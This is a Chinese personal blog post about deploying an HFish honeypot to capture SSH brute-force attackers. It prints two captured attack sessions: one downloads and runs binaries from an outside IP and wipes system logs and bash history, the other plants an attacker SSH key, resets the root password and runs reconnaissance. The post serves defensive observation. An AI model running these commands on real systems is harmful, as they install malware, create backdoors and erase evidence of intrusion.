A8DOG

A8DOG

随便写写,记录折腾过程!
telegram

搭建一个hfish蜜罐 接收全网攻击

每次新开服务器,就会被来自江苏连云港和其他海外 IP 的 ssh 弱口令爆破,我很想知道这些人登陆成功我的服务器后会执行哪些操作,于是我搭建了一个 hfish 蜜罐接收了他们的攻击!

搭建教程:#

官方部署教程:https://hfish.net/#/2-2-linux

CentOS 是 HFish 团队主力开发和测试系统,推荐选用 CentOS 系统部署管理端

如果部署的环境为 Linux,且可以访问互联网,强烈建议使用一键部署脚本进行安装和配置,在使用一键脚本前,请先配置防火墙。

如果蜜罐节点暴露在互联网,可能会出现 TCP 连接超过最大 1024 个连接数限制,导致其他连接被拒绝的情况,可手动放开机器 TCP 最大连接数。参考解决链接:https://www.cnblogs.com/lemon-flm/p/7975812.html

以 root 权限运行以下命令,确保配置防火墙开启 TCP/4433、TCP/4434

firewall-cmd --add-port=4433/tcp --permanent   #(用于web界面启动)
firewall-cmd --add-port=4434/tcp --permanent   #(用于节点与管理端通信)
firewall-cmd --reload

如之后蜜罐服务需要占用其他端口,可使用相同命令打开

以 root 权限运行以下一键部署命令

bash <(curl -sS -L https://hfish.net/webinstall.sh)

完成安装后,通过以下网址、账号密码登录

登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021

我的蜜罐:#

我这里使用了高交互 SSH 蜜罐,这里比普通的 ssh 蜜罐不同的点就是交互功能丰富一点,执行的命令也多。并且任何密码都能登陆成功。

Snipaste_2024-02-09_12-15-31

其中我捕获到了一个海外 IP 的 ssh 执行命令,其他的暂时没有捕获成功!

New connection: 167.88.165.28:35180 (*****:22) [session: a58f59899b0d]
Remote SSH version: SSH-2.0-PUTTY
login attempt [root/123456a] succeeded
wdir="/bin"; for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc"; do; if [ -w $i ]; then; wdir=$i; break; fi; done; cd $wdir; curl http://169.239.130.34/1.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0; wget http://169.239.130.34/1.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good http://169.239.130.34/1.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2; wget http://169.239.130.34/2.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good http://169.239.130.34/2.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14; curl http://169.239.130.34/2.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/wget /usr/bin/good; mv /bin/wget /bin/good; cat /dev/null >/root/.bash_history; cat /dev/null > /var/log/wtmp; cat /dev/null > /var/log/btmp; cat /dev/null > /var/log/lastlog; cat /dev/null > /var/log/secure; cat /dev/null > /var/log/boot.log; cat /dev/null > /var/log/cron; cat /dev/null > /var/log/dmesg; cat /dev/null > /var/log/firewalld; cat /dev/null > /var/log/maillog; cat /dev/null > /var/log/messages; cat /dev/null > /var/log/spooler; cat /dev/null > /var/log/syslog; cat /dev/null > /var/log/tallylog; cat /dev/null > /var/log/yum.log; cat /dev/null >/root/.bash_history; ls -la /etc/daemon.cfg; exit $?; ; ; 
ls -la /etc/daemon.cfg
Connection lost after 10 seconds

我最想捕获来自江苏连云港的执行操作,因为这个 IP 地区段一直在执行 ssh 弱口令爆破,在半年前我就发现了。后期捕获成功我再来添加后续!

后续:#

收到了一个来自 IP:31.46.16.122 的攻击,通过 ssh 蜜罐执行了下面的命令:

cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
echo "root:vfQmZqwSSWnP"|chpasswd|bash
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
whoami
lscpu | grep Model
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

这些命令都是用来获取系统信息或执行系统操作的。让我们逐个来解释:

  1. cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

    这个命令的作用是:

    • 切换到用户的主目录 (cd ~)。
    • 删除 .ssh 目录及其内容 (rm -rf .ssh)。
    • 创建一个新的 .ssh 目录 (mkdir .ssh)。
    • 将一个 SSH 公钥添加到 .ssh 目录下的 authorized_keys 文件中。
    • 限制 .ssh 目录及其内容的权限,使其只对所有者可读可写 (chmod -R go= ~/.ssh)。
    • 切换回用户的主目录 (cd ~)。
  2. cat /proc/cpuinfo | grep name | wc -l

    这个命令的作用是获取 CPU 信息并统计 CPU 名称的数量。

  3. echo "root:vfQmZqwSSWnP" | chpasswd | bash

    这个命令的作用是将 root 用户的密码设置为 vfQmZqwSSWnP

  4. rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

    这个命令的作用是删除 /tmp 目录下的 secure.shauth.sh 文件,然后终止名为 secure.shauth.sh 的进程,清空 /etc/hosts.deny 文件内容,并终止所有名为 sleep 的进程。

  5. cat /proc/cpuinfo | grep model | grep name | wc -l

    这个命令的作用是获取 CPU 信息并统计 CPU 模型名称的数量。

  6. top

    这个命令的作用是显示系统中当前运行的进程信息,包括 CPU 占用情况等。

  7. uname

    这个命令的作用是显示系统信息,如内核名称。

  8. uname -a

    这个命令的作用是显示完整的系统信息,包括内核版本、主机名、操作系统版本等。

  9. whoami

    这个命令的作用是显示当前登录用户的用户名。

  10. lscpu | grep Model

    这个命令的作用是显示 CPU 的型号信息。

  11. df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

    这个命令的作用是显示磁盘空间使用情况,具体来说是显示根目录的总空间。

搞不懂这个二货给我加了个 ssh 密钥还给我把 root 密码改了,后续继续监控!

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。